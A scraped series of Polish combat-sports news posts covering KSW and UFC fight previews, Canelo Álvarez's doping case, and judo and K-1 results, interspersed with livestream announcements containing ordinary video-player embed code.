W grudniu ubiegłego roku podczas gali KSW 41 w Katowicach Dricus Du Plessis miał rywalizować z Borysem Mańkowskim o pas wagi półśredniej. Na ostatniej prostej zawodnik z RPA doznał kontuzji i musiał wycofać się z rywalizacji. Jego miejsce zajął Roberto Soldić. Chorwat nie miał zbyt wiele czasu, ale podjął wyzwanie i pokazał wysokie umiejętności. W Katowicach okazał się lepszy od Mańkowskiego. Soldić był wyższy, bił mocniej i potwornie zmęczył Polaka, którego po trzeciej rundzie poddał narożnik. We Wrocławiu 23-letni Chorwat spotka się z Du Plessisem. Między zawodnikami zawrzało już w grudniu. Soldić po triumfie ruszył w stronę 24-latka, który wcześniej miał go prowokować. Co ciekawe, zawodnicy mogli spotkać się wcześniej, kiedy reprezentant RPA walczył dla organizacji Extreme Fighting Championship. Kontrakt nie został jednak podpisany, ale los chciał, żeby Soldić i Du Plessis spotkali się. Obaj mają passę siedmiu wygranych z rzędu. We Wrocławiu któryś z nich będzie musiał obejść się smakiem, ale emocje są gwarantowane, bo zawodnicy słyną z tego, że ich walki zazwyczaj kończą się przed czasem. Warto dodać, że żaden pojedynek Du Plessisa nie kończył się decyzją sędziów.
We Wrocławiu poznamy mistrza wagi ciężkiej. O miano najlepszego będą walczyć Michał Andryszak i Philip de Freis. 31-letni Anglik jest nowym nabytkiem KSW, ma za sobą występy w UFC. Ostatnio de Fries rywalizował na gali Bellator 191, podczas której pokonał w pierwszej rundzie Jamesa Thompsona. Z kolei Michał Andryszak po powrocie do KSW prezentuje się wyśmienicie. Dwie wygrane w pierwszych rundach – to najlepsze świadectwo możliwości Polaka. W ostatnim starciu Andryszak bardzo szybko, w zaledwie 26 sekund!, uporał się z Fernando Rodriguesem Jr. Potężny prawy, a następnie seria ciosów w parterze sprawiły, że Brazylijczyk przez chwilę leżał nieruchomo na deskach. Polak podkreśla, że zmierza po pas. Czy Anglik mu zagrozi? De Fries zapewnia, że walka nie potrwa długo. Czy temperatura sięgnie zenitu?
Trzecią walkę w MMA stoczy Damian Janikowski. Czy ponownie zaprezentuje się efektownie i wygra przed czasem? Były zapaśnik zmierzy się z Yannickiem Bahatim, który ma za sobą dwie porażki z rzędu. Ostatnio wygrał w maju 2017. Jednak Bahati to doświadczony zawodnik, który był mistrzem takich organizacji jak EFC i BAMMA.
Artur Sowiński będzie walczył o zwycięstwo w starciu z 20-letni Salahdinem Parnasse. Trzy porażki z rzędu zanotował Łukasz Chlewicki. "Sasza" postara się przerwać tę fatalną serię, ale Norman Parke nie ułatwi mu zadania.
Karta walk KSW 43:
Damian Janikowski – Yannick Bahati
Michał Andryszak – Philip de Freis
Roberto Soldic – Dricus Du Plessis
Artur Sowiński – Salahdine Parnasse
Łukasz Chlewicki – Norman Parke
Michał Michalski – David Zawada
Kamil Selwa – Antun Racic
Maciej Kazieczko – Maciej Kaliciński
Fot. Facebook Michał „Longer” Andryszak
KM
Od dawna mówiło się o potencjalnej walce Mariusza Pudzianowskiego z Karolem Bedorfem. Klamka zapadła – fighterzy spotkają się 9 czerwca w walce wieczoru gali KSW 44 w Ergo Arenie w Gdańsku.
Historia zaczęła się od wyzwania, które Pudzianowski rzucił byłemu mistrzowi wagi ciężkiej. Pierwotnie mówiło się, że do pojedynku może dojść podczas gali KSW 42 w Łodzi. Tak się jednak nie stało. Wszyscy jednak czekali, kiedy właściciele KSW ogłoszą hitowe starcie. Zapowiadano, że do spotkania Pudzianowskiego i Bedorfa dojdzie najpóźniej w połowie roku. Zatem 9 czerwca przekonamy się, który z zawodników ma większą moc i dopisze kolejną wygraną do swojego rekordu.
Dwóch potężnych wojowników, którzy postawią na szali wszystko. Zwycięzca prawdopodobnie utoruje sobie drogę do rywalizacji o pas mistrzowski w wadze ciężkiej. Z pewnością za tytułem tęskni Karol Bedorf. 34-letni szczecinianin był najdłużej panującym mistrzem wagi ciężkiej w historii KSW. Tytuł wywalczył pokonując legendę polskiego judo Pawła Nastulę. We wrześniu 2013 roku Bedorf zasiadł na tronie odprawiając rywala w drugiej rundzie. Po potężnym ciosie szczecinianina, Nastula znalazł się za linami. Bedorf trzykrotnie udanie bronił pasa mistrzowskiego i co istotne – za każdym razem wygrywał przed czasem. W końcu trafił na rywala, który znalazł na niego sposób. W Krakowie (KSW 37) Bedorf przegrał w drugiej rundzie z Fernando Rodriguesem Jr.
Mariusz Pudzianowski również może pochwalić się odprawieniem Pawła Nastuli. Jednak ma mniejsze doświadczenie w MMA niż rywal, z którym przyjdzie mu się zmierzyć 9 czerwca. Wszyscy pamiętają debiut Pudzianowskiego w KSW, kiedy to na gali numer dwanaście szybko rozprawił się z Marcinem Najmanem. Początki Pudzianowskiego w MMA to sinusoida, jednak z każdą walką były strongman nabierał ogłady i pewności siebie. Wygrana walka rewanżowa z Sean'em McCorkle'm była początkiem zwycięskiej passy. Polak triumfował w czterech kolejnych pojedynkach, jednak zatrzymali go Peter Graham i Marcin Różalski. Obecnie Pudzianowski jest w gazie po trzech wygranych walkach z rzędu.
Zanim dojdzie do gali KSW 44, najpierw emocje we Wrocławiu. 14 kwietnia w Hali Stulecia KSW 43. W akcji zobaczymy m.in. Damiana Janikowskiego, Artura Sowińskiego czy Łukasza Chlewickiego. W walce wieczoru spotkają się Roberto Soldić i Dricus Du Plessis, a stawką pojedynku będzie pas mistrzowski w kategorii półśredniej należący do Chorwata.
Fot. Mariusz Pudzianowski Facebook
KM
To pytanie zadają sobie kibice MMA, którzy odliczają godziny do rewanżowej walki Joanny Jędrzejczyk z Rose Namajunas. Na gali UFC 223 w Barclays Center zaprezentuje się również Karolina Kowalkiewicz.
7 kwietnia będzie prawdziwym testem dla Rose Namajunas. Tak, właśnie dla mistrzyni wagi słomkowej UFC. Przede wszystkim skupiamy się na Joannie Jędrzejczyk i sercem jesteśmy z nią. Polka ma szansę wrócić na szczyt, jednak to na Namajunas spoczywa dodatkowa presja. Mistrzyni musi udowodnić, że na tytuł zasłużyła i ma mentalność zwyciężczyni. Podczas konferencji prasowej przed walką Namajunas mówiła mało. To nic złego. W końcu chodzi o to, aby swoje atuty pokazać w oktagonie. Pokonując w listopadzie ubiegłego roku Jędrzejczyk, 25-latka weszła do pierwszej ligi kobiecego MMA.
Jak wyglądała pierwsza walka? Amerykanka odważnie ruszyła na Polkę i zdominowała ją. W pierwszej rundzie Namajunas trafiła Jędrzejczyk lewym sierpowym na szczękę, a potem nie miała litości w parterze i olsztynianka odklepała. Z pewnością Polka wyciągnęła wnioski z pierwszej porażki w karierze i nie będzie za wszelką cenę dążyła do wymian, które mogą mieć fatalne skutki. Jędrzejczyk umie gospodarować siłami i ugryźć w odpowiednim momencie.
30-letnia Polka pięć razy skutecznie broniła pasa mistrzowskiego, łącznie wygrała osiem walk w UFC. To są atuty przemawiające na korzyść Jędrzejczyk. Jednak teraz mistrzynią jest Namajunas, która potrafi w efektowny sposób zakończyć walkę. Druga odsłona rywalizacji o pas wagi słomkowej coraz bliżej. Obie zawodniczki mają swoje przemyślenia, znają się doskonale. Pytanie brzmi – która wytrzyma wojnę nerwów i wykorzysta moment zawahania rywalki?
Kolejny polski akcent
Zanim do oktagonu wejdzie Joanna Jędrzejczyk, siódmy pojedynek w UFC stoczy Karolina Kowalkiewicz. Rywalką 32-letniej Polki będzie Felice Herrig. 33-letnia Amerykanka jest w dobrej dyspozycji, o czym świadczą cztery wygrane z rzędu. W UFC Herrig poniosła tylko jedną porażkę. W kwietniu 2015 roku uległa Paige Van Zant. Z kolei Polka odrodziła się w ostatnim starciu, kiedy to pokonała Jodei Esquibel. Wcześniej zanotowała dwie porażki – z Joanną Jędrzejczyk i Claudią Gadelhą.
Walka wieczoru
Głównym daniem wieczoru gali UFC 223 będzie pojedynek o pełnoprawny tytuł mistrzowski kategorii lekkiej pomiędzy niepokonanym Khabibem Nurmagomedovem a Maxem Holloway'em. Pierwotnie Rosjanin miał rywalizować z Tonym Fergusonem, ale ten zerwał więzadła w kolanie. Ale wartość pojedynku o pas nie spadła. Miejsce Fergusona zajął Max Holloway, który ostatnio dwukrotnie pokonał Jose Aldo. Jeśli wygra Amerykanin, będzie miał na swoim koncie dwa pasy mistrzowskie. Obecnie posiada tytuł w wadze piórkowej.
KM
Saul Alvarez na zakręcie. 5 maja miał stoczyć rewanżowy bój z Giennadijem Gołowkinem, ale w tle pojawiły się niedozwolone środki. Meksykanin postanowił zrezygnować z potyczki z Kazachem i podkreśla, że jest czysty. Winne zamieszania ma być zanieczyszczone mięso.
Jeszcze niedawno siedzieliśmy za świątecznymi stołami, które uginały się od nadmiaru jedzenia. Spróbowaliśmy to tego, to tamtego. Oczywiście – ze smakiem. Gorzej, że później pojawiły się bóle brzucha, zgaga i tym podobne. Mięta, lekki na wzdęcia były wtedy w cenie. Saul Alvarez, swego czasu bokserski mistrz WBC i WBA w wadze junior średniej, wpadł w tarapaty. Miał być jednym z aktorów majowego hitu, a stał się czarną owcą. Wszystko przez pozytywny wynik badań antydopingowych.
Luty. Badania antydopingowe nie pozostawiają złudzeń. W organizmie popularnego "Canelo" wykryto clenbuterol. Badania dwukrotnie dały wynik pozytywny. Komisja Sportowa Stanu Nevada podjęła decyzję o tymczasowym zawieszeniu boksera, a ostateczną decyzję Meksykanin ma poznać 18 kwietnia. Mówi się, że grozi mu roczna dyskwalifikacja.
W związku z powyższym pod znakiem zapytania stanęła rewanżowa walka Alvareza z Giennadijem Gołowkinem, którą zaplanowano na 5 maja w MGM Grand w Las Vegas. Pięściarze spotkali się we wrześniu ubiegłego roku, ale wtedy pojedynek sędziowie ocenili jako remisowy. Gołowkin zachował pasy mistrza świata w wadze średniej organizacji WBC, WBA, IBF i IBO, jednak wyraził chęć rewanżu. Alvarez nie ukrywał rozczarowania, bo jego zdaniem zaprezentował się lepiej od rywala. Wszyscy czekali na wielki rewanż, ale przeszedł on wszystkim… koło nosa. „Canelo” oficjalnie ogłosił, że rezygnuje ze starcia. Postanowił sam się wycofać, a nie czekać na decyzję komisji.
Teraz Alvarezowi pozostała walka o dobre imię. Meksykanin zapewnia, że jest czysty, a niedozwolone środki w jego organizmie to wina zanieczyszczonego mięsa. – Zawsze byłem i będę czystym zawodnikiem. Chcę przeprosić HBO, MHM, Tecaste, Hennessy, sponsorów, zaangażowanych w wydarzenie i kibiców za to, że w maju nie dojdzie do planowanej walki. W ringu nikogo nie zawiodłem i nie zawiodę – powiedział Saul Alvarez.
Meksykanin wierzy, że rewanżowe starcie z Gołowkinem jest możliwe. Tyle, że w innym terminie. 36-letni Kazach myślami jest jednak przy 5 maja. – Po raz dwudziesty będę bronił pasów 5 maja w Las Vegas. Skończmy ten teatr i zajmijmy się boksem – zaznacza Gołowkin.
Najprawdopodobniej Kazach zmierzy się w Las Vegas z Garym O'Sullivanem.
Fot. Canelo Alvarez Facebook
KM
Zapraszamy na transmisję telewizyjna na żywo z konferencji prasowej przed galą DSF 14, na której federacja zaprezentuje 12 nowych zawodników.
Zapraszamy na transmisję telewizyjna na żywo z Grand-Prix Tbilisi.
[kod]
Zapraszamy na transmisję telewizyjna na żywo z Grand-Prix Tbilisi.
[kod]
Zapraszamy na transmisję telewizyjna na żywo z Grand-Prix Tbilisi.
[kod]
Zapraszamy na transmisję telewizyjna na żywo z Grand-Prix Tbilisi.
[kod]
Zapraszamy na transmisję telewizyjna na żywo z Grand-Prix Tbilisi.
[kod]
Zapraszamy na transmisję telewizyjna na żywo z Grand-Prix Tbilisi.
[kod]
Zapraszamy na transmisję telewizyjną na żywo z kolejnej odsłony gali Granda PRO. Organizatorem gali jest Legia Fight Club.
[kod]
Zapraszamy do obejrzenia galerii zdjęć z XXXI Warszawskiej Grandy na Pięści i Giry autorstwa fotografa Pawła Grabowskiego:
Zapraszamy na transmisję telewizyjna na zywo z Mistrzostw Polski Full Contact, które odbywają się w Kaliszu.
[kod]
Part. 1
Part. 2
Part. 3
Gala finałowa
Gala finałowa cz. 2
Zapraszamy na transmisję telewizyjna na zywo z Mistrzostw Polski Full Contact, które odbywają się w Kaliszu.
[kod]
Part. 1
Gala Finałowa
Zapraszamy na konferencję prasową na żywo przed Galą DSF Kickboxing Challenge 14 – Warszawa Torwar 2018.
[kod]
Zapraszamy na transmisję telewizyjna na zywo z Piaseczno OPEN VI w Poinfighting i Light Contact oraz Soft Contact, które odbywaja sie w Piasecznie k/Warszawy.
[kod]
Zapraszamy na transmisję telewizyjna na zywo z Mistrzostw Polski Low-Kick, które odbywają się w Legnicy.
[kod]
var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "http://r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream1/live.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream1/live.livx",
ss: "http://r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream1/live.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});
Zapraszamy na transmisję telewizyjna na zywo z Mistrzostw Polski Low-Kick, które odbywają się w Legnicy.
[kod]
var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "http://r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream2/live.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream2/live.livx",
ss: "http://r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream2/live.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});
Zapraszamy na transmisję telewizyjna na zywo z Mistrzostw Polski Low-Kick, które odbywają się w Legnicy.
[kod]
var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "http://r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream1/live.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream1/live.livx",
ss: "http://r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream1/live.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});
Zapraszamy na transmisję telewizyjna na zywo z Mistrzostw Polski Low-Kick, które odbywają się w Legnicy.
[kod]
var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "http://r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream2/live.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream2/live.livx",
ss: "http://r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream2/live.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});
Zapraszamy na transmisję telewizyjna na zywo z Mistrzostw Polski Low-Kick, które odbywają się w Legnicy.
[kod]
var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "http://r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream1/live.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream1/live.livx",
ss: "http://r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream1/live.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});
Zapraszamy do obejrzenia retransmisji z całości transmisji live z XXXI Warszawskiej Grandy.
[kod]
13 kwietnia na gali DSF Kickboxing Challenge 14 w Warszawie odbędzie się międzynarodowy mecz K-1: Polska-Rosja. Wystawiamy na to spotkanie nasze najcięższe działa: Mateusz Rajewski (65 kg), Paweł Biszczak (75 kg), Kamil Jenel (81 kg), Dawid Kasperski (86 kg) i Karol Celiński (91 kg).
Bilety: http://bit.ly/2HmZGW6
DSF Kickboxing Challenge to nowa szata kickboxingu w Polsce. Zawodowe walki K-1, Muay Thai i Full-Contact na światowym poziomie. Śledź nas w mediach:
http://dsfchallenge.com
https://twitter.com/dsf_kickboxing
https://www.facebook.com/DSFKickboxingChallenge
https://www.instagram.com/dsfkickboxing/
[kod]
13 kwietnia na gali DSF Kickboxing Challenge 14 w Warszawie odbędzie się międzynarodowy mecz K-1: Polska-Rosja. Wystawiamy na to spotkanie nasze najcięższe działa: Mateusz Rajewski (65 kg), Paweł Biszczak (75 kg), Kamil Jenel (81 kg), Dawid Kasperski (86 kg) i Karol Celiński (91 kg).
Bilety: http://bit.ly/2HmZGW6
DSF Kickboxing Challenge to nowa szata kickboxingu w Polsce. Zawodowe walki K-1, Muay Thai i Full-Contact na światowym poziomie. Śledź nas w mediach:
http://dsfchallenge.com
https://twitter.com/dsf_kickboxing
https://www.facebook.com/DSFKickboxingChallenge
https://www.instagram.com/dsfkickboxing/
[kod]
Torwar zapłonie 13 kwietnia podczas gali DSF Kickboxing Challenge 14! Walka wieczoru: Marcin "Różal" Różalski kontra Jerome Le Banner. Wcześniej wystąpią gwiazdy polskiego, europejskiego i światowego K-1, a w meczu międzynarodowym reprezentacja Polski zmierzy się z Rosją!
Bilety na #DSF14 dostępne w cenie od 70 PLN na http://bit.ly/2IFK2qu oraz http://bit.ly/2HmZGW6
DSF Kickboxing Challenge to nowa szata kickboxingu w Polsce. Zawodowe walki K-1, Muay Thai i Full-Contact na światowym poziomie. Śledź nas w mediach:
http://dsfchallenge.com
https://twitter.com/dsf_kickboxing
https://www.facebook.com/DSFKickboxingChallenge
https://www.instagram.com/dsfkickboxing/
[kod]
Znakomity występ polskich judoków w Pucharze Europy juniorów w Sarajewie. Biało-czerwoni zdobyli aż trzynaście medali. Po złoto sięgnął Krzysztof Załęczny (+100kg).
Polacy zdobyli najwięcej medali spośród wszystkich nacji, które zaprezentowały się w Sarajewie, ale wywalczyli tylko jeden krążek z najcenniejszego kruszca. Dwa złota na swoim koncie zapisali Rosjanie, a po cztery Kanada i Turcja, która triumfowała w klasyfikacji medalowej.
Sarajewo okazało się szczęśliwe dla Krzysztofa Załęcznego. W ubiegłym roku 19-latek stawał na podium w Lignano i Pradze, odpowiednio drugie i trzecie miejsce. Zdobyte doświadczenie okazało się cenne, a sam zawodnik okrzepł i nabrał pewności siebie. Na początek rywalizacji w Sarajewie rozprawił się w niespełna pół minuty ze Slavenem Cadjenoviciem. Następnie Załęczny wygrał dwie walki, w tym w finałowej potyczce pokonał zawodnika gospodarzy Vasilije Vujicica i stanął na najwyższym stopniu podium.
Rok temu w Atenach, a teraz w Sarajewie. Eliza Wróblewska (70kg) sięgnęła po drugi srebrny medal w Pucharze Europy na poziomie juniorskim. Polka wygrała trzy walki przed czasem, a w finale przegrała z Shianne Gronen. Jedna wygrana walka dała srebrny medal Julii Świątkiewicz (+78kg). W obu pojedynkach Polce przyszło rywalizować z reprezentantkami Turcji.
Największy sukces w dotychczasowych startach odniósł Patryk Loziak (60kg). 19-latek wywalczył w Sarajewie srebrny medal, który dały mu trzy wygrane walki. Po blisko dwóch latach na podium zameldował się Maciej Krogulski (81kg). W maju 2016 roku w Kownie rywalizował w niższej kategorii wagowej. W Sarajewie Krogulski stanął na drugim stopniu podium, tak jak i Iwo Baraniewski (100kg).
Po brązowe medale sięgnęli: Danuta Majcher (48kg), Aleksandra Kaleta (52kg), Anna Dąbrowska (57kg), Paulina Dziopa (+78kg), Cezary Tchórzewski (73kg), Paweł Drzymał (81kg) oraz Sebastian Ołdak (90kg). Blisko podium, piąte miejsca, uplasowali się Paulina Szlachta (48kg) oraz Paweł Kejza (100kg).
Warto również wspomnieć o Urszuli Hofman (70kg), która zaprezentowała się w zawodach seniorskich w Buenos Aires. 23-letnia zawodniczka AZS AWF Wrocław start w Argentynie rozpoczęła od wygranej z Victorią Delvecchio. Po porażce z Brazylijką Amandą Oliveirą trafiła do repasaży, gdzie pokonała Amerykankę Nicole Stout. W starciu o brąz Urszula Hofman pokonała 21-letnią reprezentantkę Hondurasu Dunię Santo.
Fot. EJU/PZJudo.
KM
Nie milkną echa mistrzostw Polski seniorów i juniorów w K-1 Rules. Kolejna wspaniała impreza pod egidą Polskiego Związku Kickboxingu pełna sportowych emocji. Z dobrej strony pokazali się młodzi zawodnicy, którzy z impetem weszli do grona najlepszych.
Wielokrotnie powtarzamy, że doświadczenia nic nie zastąpi. Ale młodość też ma swoje prawa. Udowodnili to Robert Soboń (60kg) i Michał Burdan (75kg). 19-latkowie wywalczyli w Warszawie złote medale. Rok temu Soboń zdobywał mistrzostwo Polski juniorów, a w stolicy w finale uporał się z Dawidem Avagyanem. Mistrzowską ścieżką podąża również Burdan. W ubiegłym roku triumfował w juniorach, zaś w stolicy debiutował w gronie seniorów. Poradził sobie znakomicie, po drodze pokonał doświadczonego Piotra Sokoła, a w finale wygrał z Mateuszem Słotą. – Młodzi wchodzą do rywalizacji i dobrze sobie radzą, ale nie jest to dzieło przypadku. Zawodnicy wcześniej prezentują się na mistrzowskich imprezach na poziomie kadetów i juniorów. Zdobywają cenne doświadczenie, które później procentuje – mówi FighTime.pl Piotr Siegoczyński, prezes Polskiego Związku Kickboxingu.
Ponownie ze znakomitej strony zaprezentował się Patryk Kuryłek (57kg). Zawodnik z Kobyłki powtórzył sukces z poprzedniego roku, tak jak i reprezentanci warszawskiej Palestry Bartosz Dołbień (81kg) i Michał Bławdziewicz (+91kg). Tytuł obroniła również Ewa Pietrzykowska (56kg), która w finale stoczyła pojedynek z rywalką zza miedzy. Zawodniczka Palestry pokonała Paulinę Saczuk ze Stowarzyszenia Sportu i Rekreacji Wola.
Miano najlepszej zawodniczki przypadło Emilii Czerwińskiej (60kg) z SKF Boksing Zielona Góra, zaś wyróżnienie wśród panów otrzymał Wojciech Kazieczko (67kg) z Funfit Boxing Team Zielona Góra.
W Hali Koło w Warszawie było gorąco. – Zjechało się wielu bardzo dobrych zawodników z całej Polski. Nie jest łatwo zorganizować imprezę w Warszawie, tym bardziej cieszymy się, że nam się udało. To znakomite rozwiązanie logistyczne dla kibiców. Na trybunach zasiadło wielu z Warszawy, którzy dopingowali swoich zawodników, ale nie brakowało również osób z innych zakątków Polski. Moim zdaniem impreza była zorganizowana na wysokim poziomie. Ogromne podziękowania pragnę skierować do Urzędu Dzielnicy Wola m.st. Warszawy za udzielone nam wsparcie – podkreśla Piotr Siegoczyński.
Mistrzowie Polski seniorów K-1:
-57kg Patryk Kuryłek (MKS Wicher Kobyłka)
-60kg Robert Soboń (Sportowy Klub Kickboxing Kielce)
-63,5kg Przemysław Kacieja (SKF Boksing Zielona Góra)
-67kg Wojciech Kazieczko (Funfit Boxing Team Zielona Góra)
-71kg Łukasz Kaczmarczyk (KS Gym Fight Wrocław)
-75kg Michał Burdan (Klub Kyokushin-kan Karate Do w Chełmie)
-81kg Bartosz Dołbień (Palestra Warszawa)
-86kg Maksymilian Bratkowicz (KS Gym Fight Wrocław)
-91kg Tomasz Konieczny (KS Oyama Rzeszów)
+91kg Michał Bławdziewicz (Palestra Warszawa)
-48kg Karolina Kubiak (Łaski Klub Sztuk Walki)
-52kg Sandra Drabik (Sportowy Klub Kickboxing Kielce))
-56kg Ewa Pietrzykowska (Palestra Warszawa)
-60kg Emilia Czerwińska (SKF Boksing Zielona Góra)
-65kg Pola Rogala (Stowarzyszenie Sportu i Rekreacji Wola Warszawa)
-70kg Kamila Bałanda (Champion Gdańsk)
KM
Beata Pacut (78kg) ma za sobą debiut w zawodach rangi Grand Slam w judo. W Jekaterynburgu, w swoim pierwszym starcie w sezonie, Polka zajęła 5. miejsce. – Starałam się myśleć o tym turnieju jako o starcie jednym z wielu – podkreśla judoczka.
W Rosji Beata Pacut pokonała Chloe Dollin i Albinę Amangeldiyevą, w półfinale zatrzymała ją Rika Takayama. W starciu o brąz lepsza od Polki okazała się Maria Anna Wagner. – Był to mój pierwszy start w zawodach rangi Grand Slam. Cały czas starałam się myśleć o tym turnieju jako o starcie jednym z wielu. Za chwilę rozpoczynają się kwalifikacje olimpijskie, więc takie zawody będą często i staną się „normalnością”. W związku z tym nie chciałam wyolbrzymiać rangi występu w Rosji, aby nie budować sama sobie dodatkowej presji. Stwierdziłam, że muszę podejść do tego na luzie. Ostatnio też startowałam pierwszy raz w Grand Prix w Uzbekistanie. Zajęłam tam 2. miejsce, więc byłam dobrej myśli – przedstawia FighTime.pl Beata Pacut.
22-latka zapisała na swoim koncie kolejne doświadczenie. Na własnej skórze mogła poznać smak Grand Slam. Pacut podkreśla, że osiągnięty w Jekaterynburgu wynik jest dla niej zadowalający. – Był to nie tylko mój debiut w Grand Slamie, ale również pierwszy start w tym roku. W okresie zimowym skupialiśmy się na treningach siłowych, potem przechodzimy do treningów specjalistycznych i wytrzymałościowych, a więc w Rosji miałam start sprawdzający. Jestem zadowolona z 5. miejsca. Wiadomo, że pozycja medalowa bardziej by mnie ucieszyła. Taki jest sport i ważne, że wiem nad czym muszę jeszcze popracować – zaznacza Pacut.
Na analizę startu w Rosji judoczka nie ma zbyt wiele czasu. Niebawem Pacut czeka kolejny występ, do którego musi się należycie przygotować. – Już za dwa tygodnie, dokładnie w Niedzielę Wielkanocną, startuję w kolejnym Grand Prix w Gruzji. Prosto z Tibilisi lecę do Taty (Węgry), gdzie odbędzie się camp treningowy. Po nim dwa dni w domu na przepakowanie torby i ruszam do Zakopanego na obóz bezpośrednio przygotowujący do Mistrzostw Europy, które odbędą się pod koniec kwietnia w Tel Awiwie – wylicza najbliższe plany 22-letnia Polka.
KM
Agata Ozdoba-Błach (63kg) oraz Beata Pacut (78kg) zajęły piąte miejsca w turnieju Grand Slam w judo w Jekaterynburgu. Za nami również Mistrzostwa Polski Juniorów w Bytomiu, w których najlepsi okazali się gospodarze.
Brązowa medalistka mistrzostw świata odniosła pierwsze zwycięstwo w tym roku. Wcześniej startowała w Dusseldorfie, gdzie szybko pożegnała się z rywalizacją. W Rosji Ozdoba-Błach uporała się z Cloe Yvin, a następnie z ubiegłoroczną zwyciężczynią zawodów w Jekaterynburgu Martyną Trajdos. Przeszkodą nie do przejścia dla Polki okazała się Aimi Nouchi. Należy wspomnieć, że 22-letnia Japonka wygrała zawody w Rosji. W starciu o brąz Ozdoba-Błach spotkała się z Edwige Gwend, którą pokonała w ubiegłorocznych mistrzostwach świata. Tym razem 28-letnia Włoszka zrewanżowała się Polce i wywalczyła brąz. Gwend po raz drugi w tym roku stanęła na najniższym stopniu podium.
Debiut w zawodach rangi Grand Slam zaliczyła Beata Pacut. Brązowa medalistka ubiegłorocznych Młodzieżowych Mistrzostw Europy mocno weszła w turniej. Polka przed czasem wygrała z Chloe Dollin, a następnie z Albiną Amangeldiyevą. Pacut zatrzymała się w półfinale na Rice Takayamie, z którą wygrała przed czterema laty podczas mistrzostw świata juniorek. Tym razem ze zwycięstwa cieszyła się Japonka. 22-letniej Polce pozostała walka o brąz, jednak lepsza okazała się mistrzyni Europy U23 Anna Maria Wagner.
Siódme miejsce w Jekaterynburgu zajęła Agata Perenc (52kg). Tym samym powtórzyła wynik osiągnięty w Dusseldorfie. Na początek Polka pokonała Darię Bobrikovą, a kolejne dwa pojedynki przegrała.
Gospodarze najlepsi w Bytomiu
Pięć złotych krążków wywalczyli reprezentanci GKS Czarnych Bytom w mistrzostwach Polski. Złote medale zawisły na szyjach: Natalii Kropskiej (63kg), Pauliny Dziopy (+78kg), Patryka Łoziaka (60kg), Kacpra Kaczora (66kg) oraz Paweł Drzymał (81kg).
Triumfatorzy Mistrzostw Polski Juniorów:
-44kg Izabela Olejnik (KS Akademia Judo Poznań)
-48kg Marta Kuraś (UKS Judo Wolbrom)
-52kg Aleksandra Kaleta (UKS Judo Wolbrom)
-57kg Anna Dąbrowska (MKS Juvenia Wrocław)
-63kg Natalia Kropska (GKS Czarni Bytom)
-70kg Eliza Wróblewska (KS Akademia Judo Poznań)
-78kg Wiktoria Tomczak (MKS Olimpijczyk Włocławek)
+78kg Paulina Dziopa (GKS Czarni Bytom)
-55kg Piotr Zaborowski (UKJ ASzWoj Warszawa)
-60kg Patryk Łoziak (GKS Czarni Bytom)
-66kg Kacper Kaczor (GKS Czarni Bytom)
-73kg Cezary Tchórzewski (AZS AWF Katowice)
-81kg Paweł Drzymał (GKS Czarni Bytom)
-90kg Michał Jackiewicz (UKJ ASzWoj Warszawa)
-100kg Paweł Kejza (KS Kejza Team Rybnik)
+100kg Krzysztof Załęczny (TKS Judo Toruń)
Fot. Zdjęcie poglądowe
KM
Zapraszamy na transmisję telewizyjna na zywo z Mistrzostw Polski K-1, które odbywaja sie w Warszawie.
[kod]
Zapraszamy na transmisję telewizyjna na zywo z Mistrzostw Polski K-1, które odbywaja sie w Warszawie.
[kod]
RING 2
var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/MP_K1_2.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/MP_K1_2.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/MP_K1_2.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/MP_K1_2.livx"
},
width: 640,
height: 385,
autoplay: false,
});
Zapraszamy na transmisję telewizyjna na zywo z Mistrzostw Polski K-1, które odbywaja sie w Warszawie.
[kod]
RING 2
var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/MP_K1_2.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/MP_K1_2.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/MP_K1_2.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/MP_K1_2.livx"
},
width: 640,
height: 385,
autoplay: false,
});
Zapraszamy na fotorelację z gali FEN 20 Next Level, która odbyała się 10 marca 2018 r. na warszawskim Torwarze.
Kolejne międzynarodowe zawody judo w tym roku. Zawodnicy powalczą o punkty do światowego rankingu w Grand Slam w Dusseldorfie (23-25 luty). Na starcie dziewięcioro reprezentantów Polski.
